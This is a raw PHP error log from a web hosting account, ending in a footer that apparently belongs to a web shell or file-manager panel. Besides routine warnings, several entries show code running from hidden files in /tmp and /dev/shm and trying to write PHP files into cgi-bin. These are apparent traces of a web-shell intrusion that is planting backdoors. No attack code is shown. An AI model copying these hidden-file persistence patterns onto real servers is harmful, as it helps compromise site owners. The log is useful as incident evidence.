UTC] PHP Warning: Trying to access array offset on value of type int in /home/tokomrjk/jogja2.jbchampions.com/ModCatTree.php on line 12 [27-Nov-2025 15:48:10 UTC] PHP Warning: Trying to access array offset on value of type int in /home/tokomrjk/jogja2.jbchampions.com/ModCatTree.php on line 12 [27-Nov-2025 15:48:10 UTC] PHP Warning: Trying to access array offset on value of type int in /home/tokomrjk/jogja2.jbchampions.com/ModCatTree.php on line 12 [27-Nov-2025 15:48:10 UTC] PHP Warning: Trying to access array offset on value of type int in /home/tokomrjk/jogja2.jbchampions.com/ModCatTree.php on line 12 [27-Nov-2025 15:48:10 UTC] PHP Warning: Trying to access array offset on value of type int in /home/tokomrjk/jogja2.jbchampions.com/ModCatTree.php on line 12 [27-Nov-2025 15:48:10 UTC] PHP Warning: Trying to access array offset on value of type int in /home/tokomrjk/jogja2.jbchampions.com/ModCatTree.php on line 12 [27-Nov-2025 15:48:10 UTC] PHP Warning: Trying to access array offset on value of type int in /home/tokomrjk/jogja2.jbchampions.com/ModCatTree.php on line 12 [27-Nov-2025 15:48:10 UTC] PHP Warning: Trying to access array offset on value of type int in /home/tokomrjk/jogja2.jbchampions.com/ModCatTree.php on line 12 [27-Nov-2025 15:48:10 UTC] PHP Warning: Trying to access array offset on value of type int in /home/tokomrjk/jogja2.jbchampions.com/ModCatTree.php on line 12 [27-Nov-2025 15:48:10 UTC] PHP Warning: Trying to access array offset on value of type int in /home/tokomrjk/jogja2.jbchampions.com/ModCatTree.php on line 12 [27-Nov-2025 15:48:10 UTC] PHP Warning: Trying to access array offset on value of type int in /home/tokomrjk/jogja2.jbchampions.com/ModCatTree.php on line 12 [27-Nov-2025 15:48:10 UTC] PHP Warning: Trying to access array offset on value of type int in /home/tokomrjk/jogja2.jbchampions.com/ModCatTree.php on line 12 [27-Nov-2025 15:48:10 UTC] PHP Warning: Trying to access array offset on value of type int in /home/tokomrjk/jogja2.jbchampions.com/ModCatTree.php on line 12 [27-Nov-2025 15:48:10 UTC] PHP Warning: Trying to access array offset on value of type int in /home/tokomrjk/jogja2.jbchampions.com/ModCatTree.php on line 12 [27-Nov-2025 15:48:10 UTC] PHP Warning: Trying to access array offset on value of type int in /home/tokomrjk/jogja2.jbchampions.com/ModCatTree.php on line 12 [27-Nov-2025 15:48:10 UTC] PHP Warning: Trying to access array offset on value of type int in /home/tokomrjk/jogja2.jbchampions.com/ModCatTree.php on line 12 [27-Nov-2025 15:48:10 UTC] PHP Warning: Trying to access array offset on value of type int in /home/tokomrjk/jogja2.jbchampions.com/ModCatTree.php on line 12 [27-Nov-2025 15:48:10 UTC] PHP Warning: Trying to access array offset on value of type int in /home/tokomrjk/jogja2.jbchampions.com/ModCatTree.php on line 12 [27-Nov-2025 15:48:10 UTC] PHP Warning: Trying to access array offset on value of type int in /home/tokomrjk/jogja2.jbchampions.com/ModCatTree.php on line 12 [27-Nov-2025 15:48:10 UTC] PHP Warning: Trying to access array offset on value of type int in /home/tokomrjk/jogja2.jbchampions.com/ModCatTree.php on line 12 [27-Nov-2025 15:48:10 UTC] PHP Warning: Trying to access array offset on value of type int in /home/tokomrjk/jogja2.jbchampions.com/ModCatTree.php on line 12 [27-Nov-2025 15:48:10 UTC] PHP Warning: Trying to access array offset on value of type int in /home/tokomrjk/jogja2.jbchampions.com/ModCatTree.php on line 12 [27-Nov-2025 15:48:10 UTC] PHP Warning: Trying to access array offset on value of type int in /home/tokomrjk/jogja2.jbchampions.com/ModCatTree.php on line 12 [27-Nov-2025 15:48:10 UTC] PHP Warning: Trying to access array offset on value of type int in /home/tokomrjk/jogja2.jbchampions.com/ModCatTree.php on line 12 [27-Nov-2025 15:48:10 UTC] PHP Warning: Trying to access array offset on value of type int in /home/tokomrjk/jogja2.jbchampions.com/ModCatTree.php on line 12 [27-Nov-2025 15:48:10 UTC] PHP Warning: Trying to access array offset on value of type int in /home/tokomrjk/jogja2.jbchampions.com/ModCatTree.php on line 12 [27-Nov-2025 15:48:10 UTC] PHP Warning: Trying to access array offset on value of type int in /home/tokomrjk/jogja2.jbchampions.com/ModCatTree.php on line 12 [27-Nov-2025 15:48:10 UTC] PHP Warning: Trying to access array offset on value of type int in /home/tokomrjk/jogja2.jbchampions.com/ModCatTree.php on line 12 [27-Nov-2025 15:48:10 UTC] PHP Warning: Trying to access array offset on value of type int in /home/tokomrjk/jogja2.jbchampions.com/ModCatTree.php on line 12 [27-Nov-2025 15:48:10 UTC] PHP Warning: Trying to access array offset on value of type int in /home/tokomrjk/jogja2.jbchampions.com/ModCatTree.php on line 12 [27-Nov-2025 15:48:10 UTC] PHP Warning: Trying to access array offset on value of type int in /home/tokomrjk/jogja2.jbchampions.com/ModCatTree.php on line 12 [27-Nov-2025 15:48:10 UTC] PHP Warning: Trying to access array offset on value of type int in /home/tokomrjk/jogja2.jbchampions.com/ModCatTree.php on line 12 [27-Nov-2025 15:48:10 UTC] PHP Warning: Trying to access array offset on value of type int in /home/tokomrjk/jogja2.jbchampions.com/ModCatTree.php on line 12 [27-Nov-2025 15:48:10 UTC] PHP Warning: Trying to access array offset on value of type int in /home/tokomrjk/jogja2.jbchampions.com/ModCatTree.php on line 12 [27-Nov-2025 15:48:10 UTC] PHP Warning: Trying to access array offset on value of type int in /home/tokomrjk/jogja2.jbchampions.com/ModCatTree.php on line 12 [27-Nov-2025 15:48:10 UTC] PHP Warning: Trying to access array offset on value of type int in /home/tokomrjk/jogja2.jbchampions.com/ModCatTree.php on line 12 [27-Nov-2025 15:48:10 UTC] PHP Warning: Trying to access array offset on value of type int in /home/tokomrjk/jogja2.jbchampions.com/ModCatTree.php on line 12 [27-Nov-2025 15:48:10 UTC] PHP Warning: Trying to access array offset on value of type int in /home/tokomrjk/jogja2.jbchampions.com/ModCatTree.php on line 12 [27-Nov-2025 15:48:10 UTC] PHP Warning: Trying to access array offset on value of type int in /home/tokomrjk/jogja2.jbchampions.com/ModCatTree.php on line 12 [27-Nov-2025 15:48:10 UTC] PHP Warning: Trying to access array offset on value of type int in /home/tokomrjk/jogja2.jbchampions.com/ModCatTree.php on line 12 [27-Nov-2025 15:48:10 UTC] PHP Warning: Trying to access array offset on value of type int in /home/tokomrjk/jogja2.jbchampions.com/ModCatTree.php on line 12 [27-Nov-2025 15:48:10 UTC] PHP Warning: Trying to access array offset on value of type int in /home/tokomrjk/jogja2.jbchampions.com/ModCatTree.php on line 12 [27-Nov-2025 15:48:10 UTC] PHP Warning: Trying to access array offset on value of type int in /home/tokomrjk/jogja2.jbchampions.com/ModCatTree.php on line 12 [27-Nov-2025 15:48:10 UTC] PHP Warning: Trying to access array offset on value of type int in /home/tokomrjk/jogja2.jbchampions.com/ModCatTree.php on line 12 [27-Nov-2025 15:48:10 UTC] PHP Warning: Trying to access array offset on value of type int in /home/tokomrjk/jogja2.jbchampions.com/ModCatTree.php on line 12 [27-Nov-2025 15:48:10 UTC] PHP Warning: Trying to access array offset on value of type int in /home/tokomrjk/jogja2.jbchampions.com/ModCatTree.php on line 12 [27-Nov-2025 15:48:10 UTC] PHP Warning: Trying to access array offset on value of type int in /home/tokomrjk/jogja2.jbchampions.com/ModCatTree.php on line 12 [28-Nov-2025 06:19:33 UTC] PHP Warning: file_put_contents(/var/tmp/.binding): Failed to open stream: Disk quota exceeded in /home/tokomrjk/jogja2.jbchampions.com/Context.php on line 20 [28-Nov-2025 12:33:16 UTC] PHP Warning: file_put_contents(/var/tmp/.binding): Failed to open stream: Disk quota exceeded in /home/tokomrjk/jogja2.jbchampions.com/Context.php on line 20 [28-Nov-2025 12:33:18 UTC] PHP Warning: file_put_contents(/var/tmp/.binding): Failed to open stream: Disk quota exceeded in /home/tokomrjk/jogja2.jbchampions.com/Context.php on line 20 [28-Nov-2025 12:33:20 UTC] PHP Warning: file_put_contents(/var/tmp/.binding): Failed to open stream: Disk quota exceeded in /home/tokomrjk/jogja2.jbchampions.com/Context.php on line 20 [28-Nov-2025 12:33:25 UTC] PHP Warning: file_put_contents(/var/tmp/.binding): Failed to open stream: Disk quota exceeded in /home/tokomrjk/jogja2.jbchampions.com/Context.php on line 20 [28-Nov-2025 12:33:25 UTC] PHP Warning: file_put_contents(/var/tmp/.binding): Failed to open stream: Disk quota exceeded in /home/tokomrjk/jogja2.jbchampions.com/Context.php on line 20 [28-Nov-2025 12:33:30 UTC] PHP Warning: file_put_contents(/var/tmp/.binding): Failed to open stream: Disk quota exceeded in /home/tokomrjk/jogja2.jbchampions.com/Context.php on line 20 [28-Nov-2025 12:33:33 UTC] PHP Warning: file_put_contents(/var/tmp/.binding): Failed to open stream: Disk quota exceeded in /home/tokomrjk/jogja2.jbchampions.com/Context.php on line 20 [28-Nov-2025 12:33:35 UTC] PHP Warning: file_put_contents(/var/tmp/.binding): Failed to open stream: Disk quota exceeded in /home/tokomrjk/jogja2.jbchampions.com/Context.php on line 20 [28-Nov-2025 12:33:41 UTC] PHP Warning: file_put_contents(/var/tmp/.binding): Failed to open stream: Disk quota exceeded in /home/tokomrjk/jogja2.jbchampions.com/Context.php on line 20 [28-Nov-2025 12:33:50 UTC] PHP Warning: file_put_contents(/var/tmp/.binding): Failed to open stream: Disk quota exceeded in /home/tokomrjk/jogja2.jbchampions.com/Context.php on line 20 [28-Nov-2025 12:33:54 UTC] PHP Warning: file_put_contents(/var/tmp/.binding): Failed to open stream: Disk quota exceeded in /home/tokomrjk/jogja2.jbchampions.com/Context.php on line 20 [28-Nov-2025 12:33:56 UTC] PHP Warning: file_put_contents(/var/tmp/.binding): Failed to open stream: Disk quota exceeded in /home/tokomrjk/jogja2.jbchampions.com/Context.php on line 20 [28-Nov-2025 12:33:58 UTC] PHP Warning: file_put_contents(/var/tmp/.binding): Failed to open stream: Disk quota exceeded in /home/tokomrjk/jogja2.jbchampions.com/Context.php on line 20 [28-Nov-2025 12:34:03 UTC] PHP Warning: file_put_contents(/var/tmp/.binding): Failed to open stream: Disk quota exceeded in /home/tokomrjk/jogja2.jbchampions.com/Context.php on line 20 [28-Nov-2025 12:34:13 UTC] PHP Warning: file_put_contents(/var/tmp/.binding): Failed to open stream: Disk quota exceeded in /home/tokomrjk/jogja2.jbchampions.com/Context.php on line 20 [28-Nov-2025 12:34:17 UTC] PHP Warning: file_put_contents(/var/tmp/.binding): Failed to open stream: Disk quota exceeded in /home/tokomrjk/jogja2.jbchampions.com/Context.php on line 20 [28-Nov-2025 12:34:19 UTC] PHP Warning: file_put_contents(/var/tmp/.binding): Failed to open stream: Disk quota exceeded in /home/tokomrjk/jogja2.jbchampions.com/Context.php on line 20 [28-Nov-2025 12:34:28 UTC] PHP Warning: file_put_contents(/var/tmp/.binding): Failed to open stream: Disk quota exceeded in /home/tokomrjk/jogja2.jbchampions.com/Context.php on line 20 [28-Nov-2025 12:34:31 UTC] PHP Warning: file_put_contents(/var/tmp/.binding): Failed to open stream: Disk quota exceeded in /home/tokomrjk/jogja2.jbchampions.com/Context.php on line 20 [28-Nov-2025 12:34:38 UTC] PHP Warning: file_put_contents(/var/tmp/.binding): Failed to open stream: Disk quota exceeded in /home/tokomrjk/jogja2.jbchampions.com/Context.php on line 20 [28-Nov-2025 12:34:45 UTC] PHP Warning: file_put_contents(/var/tmp/.binding): Failed to open stream: Disk quota exceeded in /home/tokomrjk/jogja2.jbchampions.com/Context.php on line 20 [28-Nov-2025 12:35:00 UTC] PHP Warning: file_put_contents(/var/tmp/.binding): Failed to open stream: Disk quota exceeded in /home/tokomrjk/jogja2.jbchampions.com/Context.php on line 20 [28-Nov-2025 12:35:02 UTC] PHP Warning: file_put_contents(/var/tmp/.binding): Failed to open stream: Disk quota exceeded in /home/tokomrjk/jogja2.jbchampions.com/Context.php on line 20 [28-Nov-2025 12:35:05 UTC] PHP Warning: file_put_contents(/var/tmp/.binding): Failed to open stream: Disk quota exceeded in /home/tokomrjk/jogja2.jbchampions.com/Context.php on line 20 [28-Nov-2025 12:35:08 UTC] PHP Warning: file_put_contents(/var/tmp/.binding): Failed to open stream: Disk quota exceeded in /home/tokomrjk/jogja2.jbchampions.com/Context.php on line 20 [28-Nov-2025 12:35:14 UTC] PHP Warning: file_put_contents(/var/tmp/.binding): Failed to open stream: Disk quota exceeded in /home/tokomrjk/jogja2.jbchampions.com/Context.php on line 21 [28-Nov-2025 12:35:16 UTC] PHP Warning: file_put_contents(/var/tmp/.binding): Failed to open stream: Disk quota exceeded in /home/tokomrjk/jogja2.jbchampions.com/Context.php on line 21 [28-Nov-2025 12:35:22 UTC] PHP Warning: file_put_contents(/var/tmp/.binding): Failed to open stream: Disk quota exceeded in /home/tokomrjk/jogja2.jbchampions.com/Context.php on line 21 [28-Nov-2025 12:35:25 UTC] PHP Warning: file_put_contents(/var/tmp/.binding): Failed to open stream: Disk quota exceeded in /home/tokomrjk/jogja2.jbchampions.com/Context.php on line 21 [28-Nov-2025 12:35:28 UTC] PHP Warning: file_put_contents(/var/tmp/.binding): Failed to open stream: Disk quota exceeded in /home/tokomrjk/jogja2.jbchampions.com/Context.php on line 21 [28-Nov-2025 12:35:30 UTC] PHP Warning: file_put_contents(/var/tmp/.binding): Failed to open stream: Disk quota exceeded in /home/tokomrjk/jogja2.jbchampions.com/Context.php on line 21 [28-Nov-2025 12:35:31 UTC] PHP Warning: file_put_contents(/var/tmp/.binding): Failed to open stream: Disk quota exceeded in /home/tokomrjk/jogja2.jbchampions.com/Context.php on line 21 [28-Nov-2025 12:35:33 UTC] PHP Warning: file_put_contents(/var/tmp/.binding): Failed to open stream: Disk quota exceeded in /home/tokomrjk/jogja2.jbchampions.com/Context.php on line 21 [28-Nov-2025 12:35:35 UTC] PHP Warning: file_put_contents(/var/tmp/.binding): Failed to open stream: Disk quota exceeded in /home/tokomrjk/jogja2.jbchampions.com/Context.php on line 21 [28-Nov-2025 12:35:37 UTC] PHP Warning: file_put_contents(/var/tmp/.binding): Failed to open stream: Disk quota exceeded in /home/tokomrjk/jogja2.jbchampions.com/Context.php on line 21 [28-Nov-2025 12:35:43 UTC] PHP Warning: file_put_contents(/var/tmp/.binding): Failed to open stream: Disk quota exceeded in /home/tokomrjk/jogja2.jbchampions.com/Context.php on line 21 [28-Nov-2025 12:35:44 UTC] PHP Warning: file_put_contents(/var/tmp/.binding): Failed to open stream: Disk quota exceeded in /home/tokomrjk/jogja2.jbchampions.com/Context.php on line 21 [28-Nov-2025 12:35:51 UTC] PHP Warning: file_put_contents(/var/tmp/.binding): Failed to open stream: Disk quota exceeded in /home/tokomrjk/jogja2.jbchampions.com/Context.php on line 21 [28-Nov-2025 12:35:56 UTC] PHP Warning: file_put_contents(/var/tmp/.binding): Failed to open stream: Disk quota exceeded in /home/tokomrjk/jogja2.jbchampions.com/Context.php on line 21 [28-Nov-2025 12:36:01 UTC] PHP Warning: file_put_contents(/var/tmp/.binding): Failed to open stream: Disk quota exceeded in /home/tokomrjk/jogja2.jbchampions.com/Context.php on line 21 [28-Nov-2025 12:36:03 UTC] PHP Warning: file_put_contents(/var/tmp/.binding): Failed to open stream: Disk quota exceeded in /home/tokomrjk/jogja2.jbchampions.com/Context.php on line 21 [28-Nov-2025 12:36:05 UTC] PHP Warning: file_put_contents(/var/tmp/.binding): Failed to open stream: Disk quota exceeded in /home/tokomrjk/jogja2.jbchampions.com/Context.php on line 21 [28-Nov-2025 12:36:11 UTC] PHP Warning: file_put_contents(/var/tmp/.binding): Failed to open stream: Disk quota exceeded in /home/tokomrjk/jogja2.jbchampions.com/Context.php on line 21 [28-Nov-2025 12:36:14 UTC] PHP Warning: file_put_contents(/var/tmp/.binding): Failed to open stream: Disk quota exceeded in /home/tokomrjk/jogja2.jbchampions.com/Context.php on line 21 [28-Nov-2025 12:36:22 UTC] PHP Warning: file_put_contents(/var/tmp/.binding): Failed to open stream: Disk quota exceeded in /home/tokomrjk/jogja2.jbchampions.com/Context.php on line 21 [28-Nov-2025 12:36:22 UTC] PHP Warning: file_put_contents(/home/tokomrjk/jogja2.jbchampions.com/cgi-bin/coupon_admin.php): Failed to open stream: Disk quota exceeded in /dev/shm/.binding on line 1 [28-Nov-2025 12:36:28 UTC] PHP Warning: file_put_contents(/var/tmp/.binding): Failed to open stream: Disk quota exceeded in /home/tokomrjk/jogja2.jbchampions.com/Context.php on line 21 [28-Nov-2025 12:36:31 UTC] PHP Warning: file_put_contents(/var/tmp/.binding): Failed to open stream: Disk quota exceeded in /home/tokomrjk/jogja2.jbchampions.com/Context.php on line 21 [28-Nov-2025 12:36:31 UTC] PHP Warning: file_put_contents(/home/tokomrjk/jogja2.jbchampions.com/cgi-bin/coupon_admin.php): Failed to open stream: Disk quota exceeded in /dev/shm/.binding on line 1 [28-Nov-2025 12:36:33 UTC] PHP Warning: file_put_contents(/var/tmp/.binding): Failed to open stream: Disk quota exceeded in /home/tokomrjk/jogja2.jbchampions.com/Context.php on line 21 [28-Nov-2025 18:34:45 UTC] PHP Warning: file_put_contents(/home/tokomrjk/jogja2.jbchampions.com/.record): Failed to open stream: Disk quota exceeded in /home/tokomrjk/jogja2.jbchampions.com/Context.php on line 1 [28-Nov-2025 18:35:34 UTC] PHP Warning: file_put_contents(/home/tokomrjk/jogja2.jbchampions.com/cgi-bin/MethodTable.php): Failed to open stream: Disk quota exceeded in /tmp/.binding on line 1 [28-Nov-2025 18:35:38 UTC] PHP Warning: file_put_contents(/home/tokomrjk/jogja2.jbchampions.com/cgi-bin/MethodTable.php): Failed to open stream: Disk quota exceeded in /tmp/.binding on line 1 [06-Dec-2025 02:48:40 UTC] PHP Warning: Undefined array key "pN" in /tmp/.dbx_convert on line 1 [06-Dec-2025 02:48:40 UTC] PHP Warning: Trying to access array offset on value of type null in /tmp/.dbx_convert on line 1 [09-Dec-2025 12:55:34 UTC] PHP Warning: Undefined array key "xR" in /tmp/.uconvert on line 1 [09-Dec-2025 12:55:34 UTC] PHP Warning: Trying to access array offset on value of type null in /tmp/.uconvert on line 1 [10-Dec-2025 00:57:14 UTC] PHP Warning: Undefined array key "UZ" in /tmp/.requests on line 1 [10-Dec-2025 00:57:14 UTC] PHP Warning: Trying to access array offset on value of type null in /tmp/.requests on line 1 [10-Dec-2025 18:58:21 UTC] PHP Warning: Undefined array key "KL" in /tmp/.class on line 1 [10-Dec-2025 18:58:21 UTC] PHP Warning: Trying to access array offset on value of type null in /tmp/.class on line 1 [12-Dec-2025 07:00:21 UTC] PHP Warning: Undefined array key "vo" in /tmp/.center on line 1 [12-Dec-2025 07:00:21 UTC] PHP Warning: Trying to access array offset on value of type null in /tmp/.center on line 1 [13-Dec-2025 07:03:23 UTC] PHP Warning: Undefined array key "Qo" in /tmp/.system on line 1 [13-Dec-2025 07:03:23 UTC] PHP Warning: Trying to access array offset on value of type null in /tmp/.system on line 1 [27-Dec-2025 03:29:38 UTC] PHP Warning: file_put_contents(/home/tokomrjk/jogja2.jbchampions.com/cgi-bin/ipn_paypal.php): Failed to open stream: Disk quota exceeded in /tmp/.include on line 1 [27-Dec-2025 03:29:40 UTC] PHP Warning: Undefined array key "Ss" in /tmp/.lock on line 1 [27-Dec-2025 03:29:40 UTC] PHP Warning: Trying to access array offset on value of type null in /tmp/.lock on line 1 [27-Dec-2025 03:29:41 UTC] PHP Warning: file_put_contents(/tmp/.rindex): Failed to open stream: Disk quota exceeded in Command line code on line 1 [27-Dec-2025 03:29:41 UTC] PHP Warning: file_put_contents(/tmp/.rindex): Failed to open stream: Disk quota exceeded in Command line code on line 1 [27-Dec-2025 03:29:41 UTC] PHP Warning: file_put_contents(/var/tmp/.rindex): Failed to open stream: Disk quota exceeded in Command line code on line 1 [27-Dec-2025 03:29:41 UTC] PHP Warning: file_put_contents(/home/tokomrjk/jogja2.jbchampions.com/.rindex): Failed to open stream: Disk quota exceeded in Command line code on line 1 [27-Dec-2025 16:30:44 UTC] PHP Warning: file_put_contents(/tmp/.content): Failed to open stream: Disk quota exceeded in Command line code on line 1 [27-Dec-2025 16:30:44 UTC] PHP Warning: file_put_contents(/tmp/.content): Failed to open stream: Disk quota exceeded in Command line code on line 1 [27-Dec-2025 16:30:44 UTC] PHP Warning: file_put_contents(/var/tmp/.content): Failed to open stream: Disk quota exceeded in Command line code on line 1 [27-Dec-2025 16:30:44 UTC] PHP Warning: file_put_contents(/home/tokomrjk/jogja2.jbchampions.com/.content): Failed to open stream: Disk quota exceeded in Command line code on line 1
| ver. 1.4 |
Github
|
.
| PHP 8.1.34 | Generation time: 3.81 |
proxy
|
phpinfo
|
Settings